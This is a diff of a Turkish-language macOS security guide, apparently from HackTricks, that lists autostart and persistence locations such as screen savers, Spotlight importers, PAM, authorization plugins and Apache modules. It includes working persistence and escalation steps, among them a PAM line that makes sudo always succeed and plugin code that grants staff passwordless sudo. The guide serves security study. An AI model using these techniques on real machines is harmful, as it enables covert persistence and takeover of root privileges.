ıklama: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ ıklama: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
ıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf5b) ıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak genel bir uygulama kum havuzunda sonlanacaksınız * Ancak genel bir uygulama kum havuzunda sonlanacaksınız
@ -970,21 +1001,21 @@ Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:
#### Konum #### Konum
* `/System/Library/Screen Savers` * `/System/Library/Screen Savers`
* Kök erişimi gereklidir * Root gerekli
* **Tetik**: Ekran koruyucusunu seçin * **Tetikleyici**: Ekran koruyucusunu seçin
* `/Library/Screen Savers` * `/Library/Screen Savers`
* Kök erişimi gereklidir * Root gerekli
* **Tetik**: Ekran koruyucusunu seçin * **Tetikleyici**: Ekran koruyucusunu seçin
* `~/Library/Screen Savers` * `~/Library/Screen Savers`
* **Tetik**: Ekran koruyucusunu seçin * **Tetikleyici**: Ekran koruyucusunu seçin
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu günlükler oluşturmak için ekleyin. Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu kullanarak kodunuzu ekleyin.
**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok günlük oluşturması gerektiğini göreceksiniz: **Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok log oluşturmalıdır:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -998,7 +1029,7 @@ Timestamp (process)[PID]
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
Bu kodu yükleyen ikili dosyanın yetkilendirmeleri içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**. Bu kodu yükleyen ikili dosyanın ayrıcalıklarında (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**.
{% endhint %} {% endhint %}
Saver kodu: Saver kodu:
@ -1069,11 +1100,11 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
``` ```
### Spotlight Eklentileri ### Spotlight Eklentileri
ıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) yazı: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak uygulama kum havuzunda sona ereceksiniz * Ancak uygulama kum havuzunda sona ereceksiniz
* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
* Kum havuzu çok sınırlı görünüyor * Kum havuzu çok sınırlı görünüyor
#### Konum #### Konum
@ -1093,13 +1124,13 @@ açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilb
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara **bilgisayarlarındaki verilere hızlı ve kapsamlı erişim** sağlamak amacıyla tasarlanmıştır.\ Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara **bilgisayarlarındaki verilere hızlı ve kapsamlı erişim** sağlamak amacıyla tasarlanmıştır.\
Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **açarak bir dizin oluşturur**, böylece dosya adları ve içerikleri arasında hızlı aramalar yapılmasını sağlar. Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **ayıklamak suretiyle bir dizin oluşturur**, böylece dosya adları ve içerikleri üzerinden hızlı aramalar yapılabilir.
Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir, bu süreç **'meta veri sunucusu'** anlamına gelir. Bu süreç, tüm Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinleyen çeşitli bakım görevlerini yerine getiren birden fazla 'mdworker' cinayet işçisi bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerindeki içeriği anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir. Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakım görevlerini yerine getiren çeşitli 'mdworker' cinleri bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerini anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir.
Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi **dosya türü ve uzantıları yönetebileceğini** belirtmeleri gerekir, bu şekilde Spotlight, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda onları kullanacaktır. Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketler, hangi **dosya türü ve uzantıları yönetebileceklerini** belirtmelidir; bu şekilde, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda Spotlight onları kullanacaktır.
Yüklenen **tüm `mdimporters`** bulunabilir çalıştırılarak: Yüklenmiş tüm `mdimporters`'ları **bulmak mümkündür:**
```bash ```bash
mdimport -L mdimport -L
Paths: id(501) ( Paths: id(501) (
@ -1108,7 +1139,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter", "/System/Library/Spotlight/PDF.mdimporter",
[...] [...]
``` ```
Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (uzantılar `.iba` ve `.book` dahil diğerleri): Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (`.iba` ve `.book` uzantıları arasında):
```json ```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@ -1145,15 +1176,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...] [...]
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girdisini bulamayabilirsiniz. Bu, yerleşik _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz. Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girdisini bulamayabilirsiniz. Bu, yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz.
Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir. Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir.
{% endhint %} {% endhint %}
Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve desteklemek istediğiniz uzantıları desteklemesi için **`UTImportedTypeDeclarations`** ekleyin ve bunları **`schema.xml`**'de yansıtın.\ Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve desteklemek istediğiniz uzantıları desteklemesi için **`UTImportedTypeDeclarations`** ekleyin ve bunları **`schema.xml`**'de yansıtın.\
Sonra **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu çalıştırabilirsiniz. Ardından, **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu çalıştırabilirsiniz.
Son olarak, yeni `.mdimporter`'ınızı oluşturun ve bir önceki konumlardan birine kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek yüklendiğinde kontrol edebilirsiniz. Son olarak, yeni `.mdimporter`'ınızı bir önceki konumlardan birine derleyin ve kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek kontrol edebilirsiniz.
### ~~Tercih Paneli~~ ### ~~Tercih Paneli~~
@ -1165,7 +1196,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Belirli bir kullanıcı eylemi gerektirir * Belirli bir kullanıcı eylemi gerektirir
* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
@ -1173,12 +1204,14 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilb
* **`/Library/PreferencePanes`** * **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`** * **`~/Library/PreferencePanes`**
ıklama: Bu artık çalışmıyor gibi görünmüyor. #### ıklama
## Root Kum Havuzu Atlama Bu artık çalışmıyor gibi görünmüyor.
## Root Kum Havuzu Atlatma
{% hint style="success" %} {% hint style="success" %}
Burada, **kum havuzu atlamak** için kullanışlı olan başlangıç konumlarını bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve/veya diğer **garip koşullar gerektirirken** **root** olmanızı sağlar. Burada, **kum havuzu atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve **root** olmanızı ve/veya diğer **garip koşulları gerektirir.**
{% endhint %} {% endhint %}
### Periyodik ### Periyodik
@ -1187,18 +1220,20 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız gerekiyor * Ancak root olmanız gerekiyor
* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
* Root gereklidir * Root gereklidir
* **Tetikleyici**: Zamanı geldiğinde * **Tetikleyici**: Zaman geldiğinde
* `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` * `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local`
* Root gereklidir * Root gereklidir
* **Tetikleyici**: Zamanı geldiğinde * **Tetikleyici**: Zaman geldiğinde
ıklama ve Sömürü: Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` dizininde depolanan betiklerin dosya sahibi olarak **yürütüldüğünü** unutmayın, bu nedenle bu, potansiyel bir ayrıcalık yükseltmesi için çalışmayacaktır. #### Açıklama ve Sömürü
Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/`'de depolanan betikler dosya sahibi olarak **yürütülür**, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmayacaktır.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
# Launch daemons that will execute the periodic scripts # Launch daemons that will execute the periodic scripts
@ -1242,35 +1277,35 @@ monthly_local="/etc/monthly.local" # Local scripts
Eğer `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` dosyalarından herhangi birini yazmayı başarırsanız, **er ya da geç yürütülecektir**. Eğer `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` dosyalarından herhangi birini yazmayı başarırsanız, **er ya da geç yürütülecektir**.
{% hint style="warning" %} {% hint style="warning" %}
Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, eğer betiğin sahibi bir düzenli kullanıcı ise, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir). Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, eğer düzenli bir kullanıcı betiğin sahibiyse, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir).
{% endhint %} {% endhint %}
### PAM ### PAM
ıklama: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ Yazı: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
ıklama: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) Yazı: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız gerekiyor * Ancak root olmanız gerekmektedir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
* Her zaman kök izin gereklidir * Her zaman kök gereklidir
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
PAM, macOS içinde kolay yürütmeden ziyade **süreklilik** ve kötü amaçlı yazılımlara odaklandığından, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için açıklamaları okuyun**. PAM, macOS içinde kolay yürütmeden ziyade **kalıcılık** ve kötü amaçlı yazılımlara daha fazla odaklandığı için, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için yazıları okuyun**.
PAM modüllerini kontrol etmek için: PAM modüllerini kontrol etmek için:
```bash ```bash
ls -l /etc/pam.d ls -l /etc/pam.d
``` ```
Bir kalıcılık/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek çok kolaydır, başına şu satırı ekleyerek: Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek kolayca yapılabilir. Başlangıca şu satırı eklemek yeterlidir:
```bash ```bash
auth sufficient pam_permit.so auth sufficient pam_permit.so
``` ```
Yani bu, şuna benzer bir şey gibi görünecek: Yani bu şöyle **görünecek**:
```bash ```bash
# sudo: auth account password session # sudo: auth account password session
auth sufficient pam_permit.so auth sufficient pam_permit.so
@ -1284,7 +1319,7 @@ session required pam_permit.so
Ve dolayısıyla **`sudo` kullanma girişimi başarılı olacaktır**. Ve dolayısıyla **`sudo` kullanma girişimi başarılı olacaktır**.
{% hint style="danger" %} {% hint style="danger" %}
Bu dizinin TCC tarafından korunduğunu unutmayın, bu nedenle kullanıcının erişim isteyen bir ileti alması muhtemeldir. Bu dizin TCC tarafından korunduğundan, kullanıcının erişim isteyen bir uyarı alması oldukça olasıdır.
{% endhint %} {% endhint %}
### Yetkilendirme Eklentileri ### Yetkilendirme Eklentileri
@ -1293,7 +1328,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb
ıklama: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) ıklama: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız ve ek yapılandırmalar yapmanız gerekiyor * Ancak root olmanız ve ek yapılandırmalar yapmanız gerekmektedir
* TCC atlatma: ??? * TCC atlatma: ???
#### Konum #### Konum
@ -1319,7 +1354,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
} }
``` ```
**Bündeyi** yüklenmesi gereken konuma taşıyın: **Birleşimi** yüklenmesi gereken konuma taşıyın:
```bash ```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
``` ```
@ -1342,7 +1377,7 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist security authorizationdb write com.asdf.asdf < /tmp/rule.plist
``` ```
**`evaluate-mechanisms`** yetkilendirme çerçevesine dış bir mekanizmanın çağrılması gerekeceğini belirtecektir. Ayrıca, **`privileged`** root tarafından yürütülmesini sağlayacaktır. **`evaluate-mechanisms`** yetkilendirme çerçevesine dış bir mekanizmayı çağırması gerekeceğini belirtecektir. Ayrıca, **`privileged`** root tarafından yürütülmesini sağlayacaktır.
Şununla tetikleyin: Şununla tetikleyin:
```bash ```bash
@ -1364,9 +1399,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilb
* Root gerekli * Root gerekli
* **`/private/etc/man.conf`**: Her man kullanıldığında * **`/private/etc/man.conf`**: Her man kullanıldığında
#### Açıklama ve Sızma #### Açıklama ve Sömürü
Yapılandırma dosyası **`/private/etc/man.conf`**, man belge dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür. Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelendirme dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür.
Örneğin **`/private/etc/man.conf`** içinde ayarlanmış: Örneğin **`/private/etc/man.conf`** içinde ayarlanmış:
``` ```
@ -1384,7 +1419,7 @@ touch /tmp/manconf
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir * Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
* Httpd'nin yetkilendirmeleri yok * Httpd'nin yetkilendirmeleri yok
@ -1397,7 +1432,7 @@ touch /tmp/manconf
#### Açıklama ve Sızma #### Açıklama ve Sızma
`/etc/apache2/httpd.conf` dosyasında bir modülü yüklemesini belirtmek için şu gibi bir satır ekleyebilirsiniz: `/etc/apache2/httpd.conf` dosyasında bir modülü yüklemek için aşağıdaki gibi bir satır ekleyebilirsiniz:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -1405,7 +1440,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
``` ```
{% endcode %} {% endcode %}
Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni bir güvenilir sertifika eklemek** ve onunla **imzalamak**. Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni güvenilir bir sertifika eklemek** ve onunla **imzalamak**.
Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz: Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz:
```bash ```bash
@ -1452,7 +1487,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalıdır: **StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalıdır:
1. Bir **rc betiği**: Başlangıçta çalıştırılan bir kabuk betiği. 1. Bir **rc betiği**: Başlangıçta çalıştırılan bir kabuk betiği.
2. Çeşitli yapılandırma ayarlarını içeren, özellikle `StartupParameters.plist` adında bir **plist dosyası**. 2. **plist dosyası**, özellikle `StartupParameters.plist` adında, çeşitli yapılandırma ayarlarını içeren.
Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyasının doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun. Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyasının doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun.
@ -1476,7 +1511,7 @@ Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc
``` ```
{% endtab %} {% endtab %}
{% tab title="superservisadi" %} {% tab title="superservisadı" %}
```bash ```bash
#!/bin/sh #!/bin/sh
. /etc/rc.common . /etc/rc.common
@ -1501,14 +1536,14 @@ RunService "$1"
### ~~emond~~ ### ~~emond~~
{% hint style="danger" %} {% hint style="danger" %}
Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için yazıya bakın Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için writeup'a bakın
{% endhint %} {% endhint %}
Yazı: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak erişilebilir durumda kalmaktadır. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir. Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir.
Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmetin sistem LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir: Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmetin sistem için LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir:
```bash ```bash
ls -l /private/var/db/emondClients ls -l /private/var/db/emondClients
``` ```
@ -1522,26 +1557,26 @@ Yazım: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.g
* Root gereklidir * Root gereklidir
* **Tetikleyici**: XQuartz ile * **Tetikleyici**: XQuartz ile
#### Açıklama ve Sömürü #### Açıklama ve Sızma
XQuartz artık macOS'ta **kurulu değil**, bu yüzden daha fazla bilgi için yazıya bakın. XQuartz artık macOS'ta **kurulu değil**, bu yüzden daha fazla bilgi için yazıya bakın.
### ~~kext~~ ### ~~kext~~
{% hint style="danger" %} {% hint style="danger" %}
Kext'i yüklemek bile kök olarak çok karmaşıktır, bu yüzden bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (bir açığınız yoksa) Kext'i yüklemek bile kök olarak çok karmaşıktır, bu nedenle bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (sadece bir açığız varsa)
{% endhint %} {% endhint %}
#### Konum #### Konum
Bir KEXT'i başlangıç öğesi olarak yüklemek için, aşağıdaki konumlardan birine **yüklü olması gerekir**: Bir KEXT'i başlangıç öğesi olarak yüklemek için aşağıdaki konumlardan birine **yüklü olması gerekir**:
* `/System/Library/Extensions` * `/System/Library/Extensions`
* OS X işletim sistemi içine yerleştirilmiş KEXT dosyaları. * OS X işletim sistemi tarafından derlenmiş KEXT dosyaları.
* `/Library/Extensions` * `/Library/Extensions`
* 3. taraf yazılım tarafından yüklenen KEXT dosyaları * 3. taraf yazılım tarafından yüklenen KEXT dosyaları
Şu anda yüklenmiş kext dosyalarını listelemek için: Şu anda yüklenmiş kext dosyalarını listeleyebilirsiniz:
```bash ```bash
kextstat #List loaded kext kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path kextload /path/to/kext.kext #Load a new one based on path
@ -1549,7 +1584,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle kextunload -b com.apple.driver.ExampleBundle
``` ```
Daha fazla bilgi için [**çekirdek uzantıları kontrol etme bölümüne bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). Daha fazla bilgi için [**çekirdek uzantılarına bu bölüme bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~ ### ~~amstoold~~
@ -1562,7 +1597,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilb
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikili çağrılacaktı. Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikiliniz çağrılacaktı.
Artık macOS'ta bunu bulamıyorum. Artık macOS'ta bunu bulamıyorum.
@ -1586,7 +1621,7 @@ Bu betiği çalıştırmak pek yaygın değil gibi görünüyor ve macOS'ta bile
**Bu modern MacOS sürümlerinde çalışmıyor** **Bu modern MacOS sürümlerinde çalışmıyor**
{% endhint %} {% endhint %}
Ayrıca buraya **başlangıçta çalıştırılacak komutlar yerleştirmek mümkündür.** Tipik bir rc.common betiği örneği: Ayrıca buraya **başlangıçta çalıştırılacak komutlar** yerleştirmek mümkündür. Tipik bir rc.common betiği örneği:
```bash ```bash
# #
# Common setup for startup scripts. # Common setup for startup scripts.
